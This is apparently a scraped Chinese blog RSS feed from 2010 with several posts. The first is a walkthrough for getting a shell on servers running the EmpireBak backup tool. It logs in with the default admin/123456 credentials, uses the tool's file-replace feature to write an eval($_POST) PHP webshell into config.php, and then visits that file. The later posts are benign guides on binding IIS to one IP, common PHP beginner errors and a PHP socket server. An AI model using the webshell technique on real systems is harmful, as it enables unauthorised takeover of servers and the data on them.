$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”; $tb[a]=1; $tb[bak_guest3Book1]=1; $tb[bak_info17Content1]=1; $tb[bak_info17Sort1]=1; $tb[bak_info18Content1]=1; $tb[bak_info1Content1]=1; $tb[bak_info1Sort1]=1; $tb[bak_info2Content1]=1; $tb[bak_info2Sort1]=1; $tb[bak_info4Content1]=1; $tb[bak_info4Sort1]=1; $tb[bak_info5Content1]=1; $tb[bak_info5Sort1]=1; $tb[bak_info6Content1]=1; $tb[bak_info6Sort1]=1; $tb[bak_info7Content1]=1; $tb[bak_info7Sort1]=1; $tb[bak_info8Content1]=1; $tb[bak_info8Sort1]=1; $tb[bak_page12Content1]=1; $tb[bak_page1Content1]=1; $tb[bak_page21Content1]=1; $tb[bak_poll20Inve1]=1; $tb[bak_poll20InveCount1]=1; $tb[bak_poll20InveOpt1]=1; $tb[guest16Book1]=1; $tb[guest3Book1]=1; $tb[htmlImage]=1; $tb[htmlImageTmp]=1; $tb[info10Content1]=1; [...]]]></description>
			<content:encoded><![CDATA[<p>fhod 邪恶八进制<br />
帝国备份王(Empirebak)简介<br />
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.<br />
可在 <a rel="external" href="http://www.phome.net/ebak2008os/" target="_blank">http://www.phome.net/ebak2008os/</a> 下载到<br />
默认账号密码为<br />
admin  123456<br />
登陆后先备份一次数据<br />
备份时可选择备份到的目录。。默认有个safemod<br />
当然也可以是别的..这里以safemod来说了<br />
备份完毕后来到<br />
管理备份目录<br />
打包并下载<br />
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了<br />
<span id="more-509"></span><br />
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能</p>
<p>如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下</p>
<p>我是替换<br />
config.php的内容</p>
<p>内容为</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;<br />
$tb[a]=1;<br />
$tb[bak_guest3Book1]=1;<br />
$tb[bak_info17Content1]=1;<br />
$tb[bak_info17Sort1]=1;<br />
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$tb[bak_info1Content1]=1;<br />
$tb[bak_info1Sort1]=1;<br />
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$tb[bak_info2Sort1]=1;<br />
$tb[bak_info4Content1]=1;<br />
$tb[bak_info4Sort1]=1;<br />
$tb[bak_info5Content1]=1;<br />
$tb[bak_info5Sort1]=1;<br />
$tb[bak_info6Content1]=1;<br />
$tb[bak_info6Sort1]=1;<br />
$tb[bak_info7Content1]=1;<br />
$tb[bak_info7Sort1]=1;<br />
$tb[bak_info8Content1]=1;<br />
$tb[bak_info8Sort1]=1;<br />
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$tb[bak_page1Content1]=1;<br />
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$tb[bak_poll20InveCount1]=1;<br />
$tb[bak_poll20InveOpt1]=1;<br />
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$tb[guest3Book1]=1;<br />
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$tb[htmlImageTmp]=1;<br />
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$tb[info10Sort1]=1;<br />
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$tb[info12Sort1]=1;<br />
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$tb[info15Sort1]=1;<br />
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$tb[info4Sort1]=1;<br />
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$tb[page1Content1]=1;<br />
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$tb[poll9Inve1]=1;<br />
$tb[poll9InveCount1]=1;<br />
$tb[poll9InveOpt1]=1;<br />
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<p>$b_baktype=0;<br />
$b_filesize=300;<br />
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$b_strufour=0;<br />
$b_dbchar=”auto”;<br />
$b_beover=0;<br />
$b_insertf=”replace”;<br />
$b_autofield=”,,”;<br />
?&gt;然后替换</p>
<p>&lt;?php eval($_POST[1]);?&gt;by fhod~~~~~</p>
<p>访问</p>
<p><a rel="external" href="http://www.xxx.com/upload/bdata/safemod/config.php" target="_blank">http://www.xxx.com/upload/bdata/safemod/config.php</a><br />
能看到 by fhod~~~~~<br />
证明成功得到shell</p>
<p>密码为1</p>
<p>前提是要有管理密码能进入管理^_^</p>
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		<title>让IIS只监听指定IP</title>
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		<pubDate>Wed, 28 Jul 2010 01:12:50 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/ep.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>放入Windows Server 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。 　　安装文件也可以在http://www.cdnunion.net/soft/support.rar下载。 b.用cmd进入C:\Program Files\Support Tools目录。 c.删除0.0.0.0 　httpcfg delete iplisten -i 0.0.0.0 d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令： httpcfg set iplisten -i 192.168.0.2 返回的错误代码0代表成功完成 e.重起http.sys，依次在dos模式执行如下命令。 net stop http /y net start w3svc f.查询现在http.sys侦听Web服务的端口。 在dos模式用如下命令： netstat -an 看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。 看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。 ########################################################## httpcfg query iplisten 查询 相关博文2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>放入Windows <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。<br />
　　安装文件也可以在<a rel="external" href="http://my.dz121.com/link.php?url=http://www.cdnunion.net%2Fsoft%2Fsupport.rar" target="_blank">http://www.cdnunion.net/soft/support.rar</a>下载。<br />
b.用cmd进入C:\Program Files\Support Tools目录。<br />
c.删除0.0.0.0<br />
　httpcfg delete iplisten -i 0.0.0.0<br />
d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令：<br />
httpcfg set iplisten -i 192.168.0.2<br />
返回的错误代码0代表成功完成<br />
e.重起http.sys，依次在dos模式执行如下命令。<br />
net stop http /y<br />
net start w3svc</p>
<p>f.查询现在http.sys侦听Web服务的端口。<br />
在dos模式用如下命令：<br />
netstat -an<br />
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。<br />
看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。<br />
##########################################################</p>
<p>httpcfg query iplisten 查询</p>
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		<title>最令PHP初学者头痛的十四个问题</title>
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		<pubDate>Sun, 25 Jul 2010 17:20:55 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[iis6.0]]></category>
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		<category><![CDATA[验证]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>【1】页面之间无法传递变量 get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　 【2】Win32下apache2 用get方法传递中文参数会出错： test.php?a=你好&#38;b=你也好　 传递参数是会导致一个内部错误　　 解决办法:”test.php?a=”.urlencode(你好).”&#38;b=”.urlencode(你也好)　 【3】win32下的session不能正常工作　 php.ini默认的session.save_path = /tmp　 这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　 【4】显示错误信息　 　 当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　 例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　 【5】Win32下mail()不能发送电子邮件　　 在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　 php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　 【6】初装的mysql修改密码 应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　 【7】header already sent　　 这个错误通常会在你使用HEADER的时候出现，他可能是几种原因： 1，你在使用HEADER前PRING或者ECHO了 2.你当前文件前面有空行 3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　 【8】更改php.ini后没有变化　　 重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-501"></span>【1】页面之间无法传递变量</p>
<p>get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　</p>
<p>【2】Win32下apache2 用get方法传递中文参数会出错：</p>
<p>test.php?a=你好&amp;b=你也好　<br />
传递参数是会导致一个内部错误　　<br />
解决办法:”test.php?a=”.urlencode(你好).”&amp;b=”.urlencode(你也好)　</p>
<p>【3】win32下的session不能正常工作　</p>
<p>php.ini默认的session.save_<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">path</a> = /tmp　<br />
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　</p>
<p>【4】显示错误信息　<br />
　<br />
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　</p>
<p>例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　</p>
<p>【5】Win32下mail()不能发送电子邮件　　</p>
<p>在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　</p>
<p>php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　</p>
<p>【6】初装的mysql修改密码</p>
<p>应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　</p>
<p>【7】header already sent　　</p>
<p>这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：</p>
<p>1，你在使用HEADER前PRING或者ECHO了<br />
2.你当前文件前面有空行<br />
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　</p>
<p>【8】更改php.ini后没有变化　　</p>
<p>重新启动web <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>，比如IIS，Apache等等，然后才会应用最新的设置。<br />
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。</p>
<p>【9】php在2003上面安装　<br />
　<br />
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　</p>
<p>步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　<br />
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　<br />
步骤三： 扩展名&#8211;＞php,然后添加　　<br />
步骤四：找到php.exe的路径添加上去。　　<br />
步骤五： 确定就可以了！　　　<br />
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。</p>
<p>【10】sql语句不起作用</p>
<p>sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　<br />
　<br />
【11】include和require的区别　　</p>
<p>两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　</p>
<p>据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。</p>
<p>如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。<br />
function r($file_name) {　<br />
$filenum=@fopen($file_name,”r”);　<br />
@flock($filenum,LOCK_SH);　<br />
$file_data=@fread($filenum,filesize($file_name));　<br />
@fclose($filenum);　<br />
return $file_data;}<br />
function w($file_name,$data,$method=”w”){　<br />
$filenum=@fopen($file_name,$method);　<br />
flock($filenum,LOCK_EX);　<br />
$file_data=fwrite($filenum,$data);　<br />
fclose($filenum);　<br />
return $file_data;}</p>
<p>【12】isset()和empty()的区别　　</p>
<p>两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　</p>
<p>如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=”"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　</p>
<p>【13】mysql查询语句包含有关键字　</p>
<p>　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　</p>
<p>【14】通过HTTP协议一次上传多个文件的方法　　</p>
<p>有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　<br />
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜/form＞<br />
　　<br />
这样，在服务器端做以下测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;　　</p>
<p>2、在form中设置多个文件输入框，但名字不同，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile_a＞<br />
＜input type=file name=usefile_b＞<br />
＜input type=file name=usefile_c＞<br />
＜/form＞　</p>
<p>　在服务器端做同样测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;</p>
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		<title>PHP和Socket简介</title>
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		<pubDate>Sun, 25 Jul 2010 17:19:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeecketee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。 当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。 ◆　Socket 基础 PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。 产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。 定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。 表一：协议 名字/常量 描述 AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址 AF_INET6 与上面类似，不过是来用在IPv6的地址 AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用 表二：Socket类型 名字/常量 描述 SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。 SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。 SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。 SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议） SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序 表三：公共协议 名字/常量 描述 ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息 UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议 TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。 现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。 Resourece socket_create(int protocol, int socketType, int commonProtocol); 现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。 &#60;?php $commonProtocol = getprotobyname(“tcp”); $socket [...]]]></description>
			<content:encoded><![CDATA[<p>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。</p>
<p>当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。<span id="more-499"></span></p>
<p>◆　Socket 基础</p>
<p>PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。</p>
<p>产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。</p>
<p>定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。</p>
<p>表一：协议</p>
<p>名字/常量 描述<br />
AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址<br />
AF_INET6 与上面类似，不过是来用在IPv6的地址<br />
AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用</p>
<p>表二：Socket类型</p>
<p>名字/常量 描述<br />
SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。<br />
SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。<br />
SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。<br />
SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议）<br />
SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序</p>
<p>表三：公共协议</p>
<p>名字/常量 描述<br />
ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息<br />
UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议<br />
TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。</p>
<p>现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。<br />
Resourece socket_create(int protocol, int socketType, int commonProtocol);</p>
<p>现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, ‘localhost’, 1337);<br />
socket_listen($socket);<br />
// More socket functionality to come<br />
?&gt;</p>
<p>上面这个例子产生一个你自己的服务器端。例子第一行，<br />
$commonProtocol = getprotobyname(“tcp”);<br />
使用公共协议名字来获取一个协议类型。在这里使用的是TCP公共协议，如果你想使用UDP或者ICMP协议，那么你应该把getprotobyname() 函数的参数改为“udp”或“icmp”。还有一个可选的办法是不使用getprotobyname()函数而是指定SOL_TCP或SOL_UDP在 socket_create()函数中。</p>
<p>$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</p>
<p>例子的第二行是产生一个socket并且返回一个socket资源的实例。在你有了一个socket资源的实例以后，你就必须把socket绑定到一个IP地址和某一个端口上。</p>
<p>socket_bind($socket, ‘localhost’, 1337);</p>
<p>在这里你绑定socket到本地计算机（127.0.0.1）和绑定socket到你的1337端口。然后你就需要监听所有进来的socket连接。</p>
<p>socket_listen($socket);</p>
<p>在第四行以后，你就需要了解所有的socket函数和他们的使用。</p>
<p>表四：Socket函数</p>
<p>函数名 描述<br />
socket_accept() 接受一个Socket连接<br />
socket_bind() 把socket绑定在一个IP地址和端口上<br />
socket_clear_error() 清除socket的错误或者最后的错误代码<br />
socket_close() 关闭一个socket资源<br />
socket_connect() 开始一个socket连接<br />
socket_create_listen() 在指定端口打开一个socket监听<br />
socket_create_pair() 产生一对没有区别的socket到一个数组里<br />
socket_create() 产生一个socket，相当于产生一个socket的数据结构<br />
socket_get_option() 获取socket选项<br />
socket_getpeername() 获取远程类似主机的ip地址<br />
socket_getsockname() 获取本地socket的ip地址<br />
socket_iovec_add() 添加一个新的向量到一个分散/聚合的数组<br />
socket_iovec_alloc() 这个函数创建一个能够发送接收读写的iovec数据结构<br />
socket_iovec_delete() 删除一个已经分配的iovec<br />
socket_iovec_fetch() 返回指定的iovec资源的数据<br />
socket_iovec_free() 释放一个iovec资源<br />
socket_iovec_set() 设置iovec的数据新值<br />
socket_last_error() 获取当前socket的最后错误代码<br />
socket_listen() 监听由指定socket的所有连接<br />
socket_read() 读取指定长度的数据<br />
socket_readv() 读取从分散/聚合数组过来的数据<br />
socket_recv() 从socket里结束数据到缓存<br />
socket_recvfrom() 接受数据从指定的socket，如果没有指定则默认当前socket<br />
socket_recvmsg() 从iovec里接受消息<br />
socket_select() 多路选择<br />
socket_send() 这个函数发送数据到已连接的socket<br />
socket_sendmsg() 发送消息到socket<br />
socket_sendto() 发送消息到指定地址的socket<br />
socket_set_block() 在socket里设置为块模式<br />
socket_set_nonblock() socket里设置为非块模式<br />
socket_set_option() 设置socket选项<br />
socket_shutdown() 这个函数允许你关闭读、写、或者指定的socket<br />
socket_strerror() 返回指定错误号的详细错误<br />
socket_write() 写数据到socket缓存<br />
socket_writev() 写数据到分散/聚合数组</p>
<p>(注: 函数介绍删减了部分原文内容，函数详细使用建议参考英文原文，或者参考PHP手册)</p>
<p>以上所有的函数都是PHP中关于socket的，使用这些函数，你必须把你的socket打开，如果你没有打开，请编辑你的php.ini文件，去掉下面这行前面的注释：<br />
extension=php_sockets.dll<br />
如果你无法去掉注释，那么请使用下面的代码来加载扩展库：</p>
<p>&lt;?php<br />
if(!extension_loaded(‘sockets’))<br />
{<br />
if(strtoupper(substr(PHP_OS, 3)) == “WIN”)<br />
{<br />
dl(‘php_sockets.dll’);<br />
}<br />
else<br />
{<br />
dl(‘sockets.so’);<br />
}<br />
}<br />
?&gt;</p>
<p>如果你不知道你的socket是否打开，那么你可以使用phpinfo()函数来确定socket是否打开。你通过查看phpinfo信息了解socket是否打开。</p>
<p>查看phpinfo()关于socket的信息</p>
<p>◆　产生一个服务器</p>
<p>现在我们把第一个例子进行完善。你需要监听一个指定的socket并且处理用户的连接。</p>
<p>&lt;?php<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Accept any incoming connections to the <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a><br />
$connection = socket_accept($socket);<br />
if($connection)<br />
{<br />
socket_write($connection, “You have connected to the socket&#8230;\n\r”);<br />
}<br />
?&gt;</p>
<p>你应该使用你的命令提示符来运行这个例子。理由是因为这里将产生一个服务器，而不是一个Web页面。如果你尝试使用Web浏览器来运行这个脚本，那么很有可能它会超过30秒的限时。你可以使用下面的代码来设置一个无限的运行时间，但是还是建议使用命令提示符来运行。</p>
<p>set_time_limit(0);</p>
<p>在你的命令提示符中对这个脚本进行简单测试：</p>
<p>Php.exe example01_server.php</p>
<p>如果你没有在系统的环境变量中设置php解释器的路径，那么你将需要给php.exe指定详细的路径。当你运行这个服务器端的时候，你能够通过远程登陆（telnet）的方式连接到端口1337来测试这个服务器。</p>
<p>上面的服务器端有三个问题：1. 它不能接受多个连接。2. 它只完成唯一的一个命令。</p>
<p>3. 你不能通过Web浏览器连接这个服务器。</p>
<p>这个第一个问题比较容易解决，你可以使用一个应用程序去每次都连接到服务器。但是后面的问题是你需要使用一个Web页面去连接这个服务器，这个比较困难。你可以让你的服务器接受连接，然后些数据到客户端（如果它一定要写的话），关闭连接并且等待下一个连接。</p>
<p>在上一个代码的基础上再改进，产生下面的代码来做你的新服务器端：</p>
<p>&lt;?php<br />
// Set up our socket<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Initialize the buffer<br />
$buffer = “NO DATA”;<br />
while(true)<br />
{<br />
// Accept any connections coming in on this socket</p>
<p>$connection = socket_accept($socket);<br />
printf(“Socket connected\r\n”);<br />
// Check to see if there is anything in the buffer<br />
if($buffer != “”)<br />
{<br />
printf(“Something is in the buffer&#8230;sending data&#8230;\r\n”);<br />
socket_write($connection, $buffer . “\r\n”);<br />
printf(“Wrote to socket\r\n”);<br />
}<br />
else<br />
{<br />
printf(“No Data in the buffer\r\n”);<br />
}<br />
// Get the input<br />
while($data = socket_read($connection, 1024, PHP_NORMAL_READ))<br />
{<br />
$buffer = $data;<br />
socket_write($connection, “Information Received\r\n”);<br />
printf(“Buffer: ” . $buffer . “\r\n”);<br />
}<br />
socket_close($connection);<br />
printf(“Closed the socket\r\n\r\n”);<br />
}<br />
?&gt;</p>
